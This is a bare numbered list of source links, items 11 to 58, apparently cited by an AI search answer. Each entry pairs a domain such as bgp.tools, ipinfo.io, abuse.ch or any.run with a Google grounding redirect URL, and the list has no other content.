11. [bgp.tools](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEaW4snJjjSmXYfy9wZ7kLQ0PihzQUVI-GTSjvp-keJhPnUTr19tZ7uQ0bFgUav3Kvb0mhNwDbm4-BGPbqhvXtoruLZb9QA9wz3WM8puPGeH74=)
12. [ip2location.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHf9Ky-zxcW42dObd51RALKyAo3TFJztiGQh7SwvMlegQTeXK694rUXMbneo10eKeqWFwTqzyglhYP8Zunh7pv7Wu5PG234HLciaF7llfVeRG2HbOUQTLvObw==)
13. [keysight.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQG39n_3b2KPxx93PGrMY1MNoavQTEvWWXl4bQcoTOG3W7dxld1D92tdKuLc8rgujrsyNRPq2psodS7Cu7SA543XEKuAB5594FR80tsXjDPATFOZwM_V_mFCLB_4ESySVESUHW34BvkGDJvFEXGcUtc9ndQYgo2Y1jr9VGf6uEqQK_DT-J5gjfDQ)
14. [wikipedia.org](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEwtpqyVatXYoVjyIji5qV1bbSV-b410UW4QnMEK9hcDpbyE3P9dJDWE9IlEb93j4lw3cqLn9GLIMFV5YMPAIwCbBPNn8zwHnJ0AiTo-Mt__DRe0ONk6dbzakQppMLLy0HO7qWEWXLHqw==)
15. [nih.gov](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGD71xzqKZeC2XMB7CJrdqXs_c-0wTfAT8A9HVslZr8i7fPZ-Nkmrl5ice1Eij8S-FrWclXI9Qy4GRsYTWFCZLiOSSnwj9mQ9atDpK9B8SBrb_8pfs5VIc7l-gGh8tUSfYJ0LKRRbeu)
16. [researchgate.net](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQET6JoWCLsfnecrdIQUCjinNQpM86uM_mqdu_vzjZC7OvatALWg7f7sYQ0PzsisjuUuahf4aPXzEQWgYtxc0dqgPQxQvdCTviO_vYHaARnLjamwO17Zn0Q9RG2MQsz48RsC0hVU788LPKIuTnsqaWEtqVNsxseugTJZGuWCj-B_MwsbJnWc_EErv2OP9O7QgeDyIHJzzBczczEfJeGIlnJbhWblMrco63Lf49Wl)
17. [github.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEMwFx4LWFyP3F1igS2no0c6GISRvvCD6y7HirqWDuRvDvxo3FFh3zoKPuRKIaCKj64WdoN-JnncPOuL7Ic7OZSio9BqmuIJn_9fcUHG3QqeT55GmHHTrS5mAwW_xOdGGmX090Q)
18. [360.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHTZ6KhjE24ht9Mp6-L0e0hdGNSDFuswQ0TZYtRUh7_jWMfoO6XdvmhmtEwzIrSgd5OvHZoxbhXrDAzxYj4VxRmopgtNn-0hI2oJLGHuIjurleq9Y3vd-lo9Jxgkucn4VgoBhJWCpN1isz_IyOyhyMs)
19. [bgp.tools](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGNkJUDms83f9uBizDqdu3Q_Sap_z-5WkanNqapQD38rXa0Sa86Zqb42l0s0qSUUadpppskw-hjZAZlaJeE6k2N3dqzkirhAJ_J8md7SYhG1A==)
20. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHOIyRLdmT62tq4ipYVv_4ib1VMDbOhHGkv7OV9k6-eJIRtElDtP5WUP7K1PhXTkCrPuK01rJc380vNTCkJrVokhNc8095t3T4j-5RRvnO1Fw==)
21. [caida.org](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFs1atR-0Gaw1IAcv28_D8fYOWgK5ZAXvif3R-tq9V1rrfyAKluyyyLInZtXXu4tJv5fbzHxed0xO87SjsvE7R3WJsQCdtU5bOj-7V0BZwUOWShnc7mPTnp2fCu05Uf)
22. [whoisxmlapi.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE6hEf__5FgXHfhCN9-edBBGyfE7djIEUN9xTMclOKwBlMUb_-dtRzD4WWZPW-61JBCI4Q8TQ1w8MtgtD5QNwD0zvzfOiKudpUJYstaRoedoUmLwmyYRfQElsDAI9gMB8dYX5ETTP6vluPv9mkRLg==)
23. [ip2location.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHINoKIlAYgxpchidOIeZGgc1CBqI6PQi1ktbeZJc24FhXJw7ltiv3M58TGlDAJ2iHBoZDSJKE5cVMLlgFhBVaypo4PQbs_os7SRbFx4xe72-sLgK-BcKalMsiw)
24. [bgp.tools](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF39sth60sdkd4F6hYL2jjDoh9JlG3GimTDe0ovUerizna_qRlHSHoiDiPkLEafgS3ZbV48HPqT70XaoXiTW3RaXv606koo0lgYlQjtDfn689w=)
25. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFGk4fYCZqhf9OJgmPktoC0lO9LactygwOuH5pRvk8GznEegySVlJslIqBp9UxGkiJTLjeqofLsOGzYYp4XzyU5d1ZYgWXKpwDkFHhGEa61)
26. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFcuCHK4eddUTyrpNkpVrhEEDBelChp3k8pGNuTi8zIEX5dhHtTM0uTTke3qP1F148j_KfsVbeFffQ8_3Z6zdkk2kLa8OdMFy6EkHaJ12KA)
27. [peeringdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHpgo-zw341WXNbK_qQfH8DiL4PUXaj1ty72SmFL6m8gTgeXyBBnOSyW2MV4_4whjuP4Rst8Ql2wElW9-BA6b_T4iPukG1PQDjT2CxpHNJFE-gnafaqsAr2zw==)
28. [hawaii.edu](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEwhBkEjkPdLDnJBKqHd-teTB-1apA9WseUw9HtbtDWSNI1ar6Guqmqbr7hBqPhNvy7PHvhXAQprQEBxg_S_WNjiNVIBLORT7rEwg3jJA-Yx0SeI_Ixa-53NMPb2ZXQuW1h38rPgTBC6xPANKLdmctwdIiWwBrHydBFBiRQKU5uE1smSqYHp21-e3mRr9AzWNBTwFDl57EQmoQb_LZ1AuBSoaJjpvXFN1wVHUFiwoGG6wTXEq2YldU=)
29. [mk-work-lab.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF8XjfxmlocwR_3Em5Jq7EF1k3ChCBHXsxrIIvX-AZlDTZOnTjNlzaGUjaFUjxwzwQ__WxVsHt2H-N3jR441_BtIIBCl6-ItM3sPQLNRYtYqvtbt4admB3_K-JpOxGN62PBJLT4bBJATeXn9GxJN8nJ8kbvaVkJSlBRynalxqg=)
30. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE8bBKQnABKp-gFJlN2yK1zONecU1CZCunbnkvKQNq_RGRxQszMIhYDQ2JRFDprfnMjmODetM0Aua3cqAjKVIS7gYMlyUYWAdLq7kbm_hFoCanNYR78AQu5mgv11LFMIghzmOJSPE_Go0MmaSPRV6ZkxfTI6L5y-DJlsELs4CRSQjZZhfJd-HyexC6voU5Q3yC4j4PMXnQ=)
31. [blackalps.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFQVertunXOKuXvhXB31T5UoyqpPcwsHD3t--QM9HdwHcR1qQuBIKCIAZWjS0lR-Rw3iyr7Rn945BXTGJbRSQsj6Mim62YKhsFtHlO11zvpdQoMRShThps29XSaP-US3Q1pUu5v2tnhKN_BtMUmnDpqCL406X9SobO_RwooWkO-ug==)
32. [medium.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQG7m6y6rFKKas2xSCQdrQKT0VmZCHEzl9Zm97BCTE5rT1lH0PQ30bQnMpZc3F6TZcIcBUw1dnyieNHXvjpxWm3Ue_kkO5cI0upv9LyiO-o2ATGjPLS3x7kRXhL9JI8nu9i-QcfANb__U_4bJfAqr15m9k10R41LElxmnCyc8KYUxpKdeES5IhnxTsYeLMNYf88W31o1EDstip9AB_vipy0GKqRV)
33. [cyware.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHgR8LeVYZUt4mYxpNI_kTE6mIgS7-elhscrGud_b88J5ExeVJK5oL0O0_0DoegtYiDzAlrEwuQWCDQ4uI7pD6nSO60DxjdtoIgGwXbfCOeYp82VnGD56ThKB_1aFftyQWZRW_KlzuXCBYw_8BTRbnPewi4OHIf5TfdgYensC_2mm2FhgzjQpKzPkTYh97m5KlsH-ZNBrBX5am7paUcxWh-B5XwSY3Uhud6O1AhSZMw)
34. [scworld.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEdx-qsQGWDp2DAY0RBJ3dXFxBGiXobiRr_MB5RSl8Y2Zd1QYDPxtUsxuMQkUjbNv3yDkQx65jdwPIeNVONZThR4ufJwN5sTVXurShkpaYIcXtyZE61PZ1mr5idWDXei0ma-OlAk2v6hEF56ZLImDoMocWF4IbQ0ha9j7yNOFTIXfrxkjaXoaBWH7bhZ36M_9zilAMr0dMfmaKIkA==)
35. [digital.nhs.uk](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEw6Wr0RJ-uD5FpuPv4KqIWWmF98UUwyyrfi6EwpsibVmztST99NxlGf4B9Sk3mpWSV-DLJxQhY7JYtLw-gS5Kt9hBkE5xDJXzEo-TzIsbsa960XeboA1vol3S_FtTsOmf1XXb3T6k=)
36. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQH_ouskjcNKMDiNIT1O09gUlv64MM5eefoX5TO8ueNUVBnnBgTOLYztso9DdI5xI1opvU-mWJ3WIZiFW3eMTtMP8BgZ4Ab9zIHe4UJKCA6i8IxZn5ZSqH9fPymGmh8VC2c06_S145XXPvusu1bXxiyzIU0ah6XfFVYhKgdXSCEvsP3jEO7w-rPJyC5x8PS7pyE0eAfY4MVS2OxChmYhGQtFEZcu4lSyCdvJ5q_iW69GwKOZ)
37. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHQwRI3ZM6lVCCzX0Xa5KlVujqcqBgWNPIEHrynenfWu4-Vgdj7u2To66w2hGPgrWY4M9UCQXjyJgtAnpKaAa6wOGxxSvmjlX_hjmIc-GD23VTA4MGVleHDd1zNaTPRDJaGPJ7UdwovY4A2VxrHbZn5DSVNA78_cXl0M0si7ZCjW9bdHStsCnDsu9s5EKQ32kUoOfPgDY6pFsc4Yxu97LkIUbi74wQQ6pLhetTPPU9gVzME)
38. [trendmicro.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGUaPg5xM9YGvlggx6kzNbIv9mC6g0q9FoO06Fa1g4En6wNCzIadqaBNtpYLDjDhD-0WooQfsaWOqdKs3Dv3tckruuCzl9zW7bMPLEdyG--MgROlwokXQTelqBcG5xo_AS14ua2t2KFt6R6hpUqlo2ntr6ww6Y8W3IhzzQczPpLKQNdvXH7VdkWusmBRxP99fW02TnF62ub_dubiwn4d2OSa7FkWH3MTZvZyMJqebceN0uZFwazzfm4AfkPfo13)
39. [socdefenders.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEHhEBHhwPsWNkNXZgLl9Yb9QlTHKzJB4GOu2_js4vr_LBNj0FH41SNfyX_qz7_BdDcOiDQTwSMI2xzQUJbtzZfSEuR9R6LixIXOk2HhUw3KtQq1PAVEI8-ZHZQJdVkTIjyVd65RDGTQ6gAHzv8jCgXUkVvWtQqWewMjMVQZLI=)
40. [github.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFMq4o4r10ea-2oSmUx5n-UlmVHiF03yJXUjVWc9-5ry6-Pjr-WFO0a8fyqjb7aeC6zWiHqjmBhRa7HsRh2Z0sM48BqQ5RX10Yx-3gH0n5Ex0ruD5vL4EWRKpRtIeIoPr3SKjVdsWZY82fU9KUlZoKRkg==)
41. [virustotal.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE7iVt-ysMX3yLaLJb6nOMO5zmjHeNlrib_s2iJ3ep5nqrzfD99D_7uRlxa3inveX-i3JYXGmq76X8AKuqyW0TAWWBK6uOynCcy4Yvxjo7a41_2xfEWEKcDYxIjZvOd9niTt_PbShiIIV_YYvTfhpodhhWAFSPnSchXLe_lyq-sIBmmgXyfvtCw2Vgr-Gyq5JWoOYVmjK-RrPYHP8_wgc9cl-w7Lg==)
42. [mk-work-lab.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF9milqsj9NkC5SMMd3gsp-gjqzwXKo2Uuv-hu_8ANQnfM2TbL9xFz-1UPiVcFemp9z90qJAenkMc1gtHiDnztVQ7LsMwEkGr371YJleAA=)
43. [ip2location.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEcDcs_mIvAGaEGk11TCmLZ7jB3q9xywUGK1g3l5OqkoaiyY81JAf53QsHS_GowTiuRUfQ0Pbr6xpob9MxoUMNAKm1wK6QLzJ2u0ujVf7Wwmgo2qgm4wcfBjC0=)
44. [peeringdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF8Auz0bXzMbhxKVfJpXkbOHqoFg6gCX96u2rnDfwT5ZpMKhzkktoxBo88IrEzo31Kfrh5OCzPytEjs72A0trmvPVlzid8NbaclBK8Q6FHM91DmftiHyuxioNQ=)
45. [he.net](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFmx1TyxB1-lwMHrrcXI0QCPdHB4Wikpo0sta6bCG1Qes3aRzaizLNwNMLdTOZ5pmIwNvQjgzqg4XcUjMjFAzGG58jeb_P4Jw9Q1iPPuCwZSY8=)
46. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGwikqtS-ODQ5h9apJEB_FZmucQDgWGJMgzy-HNoA1bz2UJRZxuY2Xc0JgmUgXZdv8p615FH6tqLfGD2yZYKKYQM9Z-Vy21dMexePCKhtZcDQ==)
47. [ip-tracker.org](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFjNTv0jq_tyaAN5A-vQx6PxMzITCruG6VcGiwlLEVsCVPILGttHFJQzimN8kW2N9aK4IahxV2UfY8NSPWbjeIzEsZsGZB1sPzzWGk__yBKwxWbtplZ8dPg2KpKhmENXfJFlYptXGLJvA==)
48. [cloudflare.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE-9ZIMq_MAfurlYpddYcRmrlhpEL4JXS2muzEVZ5myJVVE9OElOfkGfZULpa-k7Cx7PNWhiM_ExVaZz_aNF8I-yzYF71dUTSsTS_w0wqLRkZWfRQx7_uEByChFRFLUeJzRDcYd05n6VQ==)
49. [peeringdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQH8sKCpIWYrbmkUO8dpEe8-8bt_W3Cqq7PXAo7pWP9qMP8L8sAVyKhK_OEYFR2LUofgPLMZ-PA8390nYnW8ZByXdRPaROIIjc8zB-MjJKi-OaTjcAn5Iv4Rvg==)
50. [ripe.net](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFWEc3TjnTDtvCjatjjKR2ikqnKqv_euGZPaiyeu92n6wRW6KOyJjQ0p-aJDe4j7HaWUU6qPOQZGWDbG29UckXwEFmbB-rWg1ExOM7yfs5iS_hVFDAFTg-GS-h4Ww==)
51. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQH1tEr7jtxUCYsw-alHmlxwBS3vcpNkzN42Lh5J21aMIIp8GWwDJvhRWkRHP_3hO3f3fH4Oms34E3bCXxRYdKhN8I_gCggWgVjWhxYZ6p4AOQ==)
52. [bgp.tools](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHWOm4yjlOgVFK_QQEKdbheMmIe1HX0CJgPGdIrhTUEiHSDeVuO0kf7g7z5mDWwomzCmBSOCP-74Lu11ChZ36VYfQQR3IVVYor6napVzGH1nuE=)
53. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHgYLuV0CzR1o0xSkBRKx2PGMkk3dAHBikQRtQTbJatH6cNNE1SilwuYCDKkD1NXYYabziLSKXNTXHvxMpQG9RtiYKmY6ltnk7RZxTc-skCl0FrOSeJGZ7yAz8D)
54. [github.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHeyxSlzw9Ey4LneFCKPCEkAb39FU2gbvSh0HDctaLOpf9l_skDGlJxMD5_Ta7slDmhuk4QALJbuQGagAffJplpHlXTQ-z_p-ox5c8d8K2G7kpZqivq-pKGCwSlVFJGP1pzIw==)
55. [offseq.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEN4KKh7BJD8Ve9SHyRdIhziam3XhiFy185yffjz3R9MaP6MnO2TVZb4YnRfp6ty2aM3nX3egAZDcxqN35MO7yPNFAn1ZZzIh9DEzjWPKQOD_0Q8m_5QAFxOXQaL-olmJjZ56eTN_sF85Uni-TRgBS7Szbh9aQooekNYBSt)
56. [maltiverse.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQH2xeXMtVIAWR4YZUXynpW4K-XRJhr37LfBSw3ASvBPEjcNlg1WKsFmUZCClS41LM8wxF2VMcvEFAxJsRaGK7xZCaQCGIii27yf-JmKIYo088x-lQbdcz_xRbOYA-iKA1Np1DqzSCI1GyDYAWoZOZ7GgrgOt8qEIa2sFeXknR3EOUkOS7iWfv0Zi4BXNcBFU6AxKsea)
57. [bgp.tools](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFPCDv6WE5WXgZGPfT0kT5Xh_oUHkAld9EKxkQQbdqqEJoELPATavb-zWCKyDcn2t0v2fzebRBtGDAlsUd6AJDY8YoRH9CLHw83qWN8yz941w==)
58. [ip2location.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGBkqGZoSgseRZY4B8cFtm9-QJg9Gzpl8YA7c5IxrH4JcH-oRdzMnXAETAvd9NcylQRPZiirpxhuwQVDL4GROlIOfZ37LZQQIzfa7aN7ks3sYv6M5qnE2Ai2g==)